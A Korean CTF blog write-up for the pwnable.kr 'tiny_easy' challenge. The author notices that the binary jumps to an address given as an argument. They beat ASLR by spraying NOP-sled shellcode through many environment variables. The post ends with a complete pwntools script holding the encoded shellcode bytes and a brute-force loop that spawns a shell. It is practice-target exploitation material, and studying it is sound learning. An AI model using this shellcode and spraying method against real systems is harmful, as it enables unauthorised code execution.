본문 바로가기

CTF

Pwnable.kr pwnable_tiny_easy Write up

33점 문제치고는 좀 골떄리는 문제인거같다.

처음에 어떻게 해야될지 몰라서 헤멧었다.

그냥 실행해도 코어 덤프가 되었는데 처음에 진짜 너무 몰라서 해멨었따.

 

아오

 

코드에 처음과 끝이다.

start 심볼이 있는데 일단 인자를 받아와주는거같다.

gdb로 확인해봤는데 자꾸 뭔지 몰라서 헷갈렸다.

 

그러던중 core를 한번 확인해보자 해서 확인해봤더니 인자로 점프뛰는것을 확인할수 있었다

일단 꿀팁이므로 명령어를 적어놓겠다.

 

내가 준 인자로 점프를 뛰는것을 알수있다.

그럼 시나리오를 짜보면,

일단 메모리 보호기법이 없다.

즉 쉘코드가 사용이 가능하다.

 

음... 그럼 생각을 해보자. 일단 ASLR이 걸려있다.

흠... 그럼 브루트 포스를 해야되나...

스택에 값이 계속 바뀌므로 스프레이 형식으로 NOP이 달린 쉘코드를 엄청나게 붙여서 대충 때려맟추는 식으로 진행해야한다.

 

from pwn import *

shellcode  = "\xeb\x11\x5e\x31\xc9\xb1\x32\x80"
shellcode += "\x6c\x0e\xff\x01\x80\xe9\x01\x75"
shellcode += "\xf6\xeb\x05\xe8\xea\xff\xff\xff"
shellcode += "\x32\xc1\x51\x69\x30\x30\x74\x69"
shellcode += "\x69\x30\x63\x6a\x6f\x8a\xe4\x51"
shellcode += "\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"

payload = "\x90" * 8000 + shellcode

env = {}
for i in range(1,0x100):
    env[str(i)] = payload
while True:
    p = process([p32(0xff9c3844)],executable="./tiny_easy", env=env)
    p.interactive()

 

'CTF' 카테고리의 다른 글

Pwnable.kr pwnable_tiny_dragon Write up  (0) 2019.11.12
Pwnable.kr pwnable_fix Write up  (0) 2019.11.10
Pwnable.kr pwnable_echo1 Write up  (0) 2019.11.09
Pwnable.kr pwnable_fsb Write up  (0) 2019.11.08
Pwnable.kr pwnable_Simple_login Write up  (0) 2019.11.05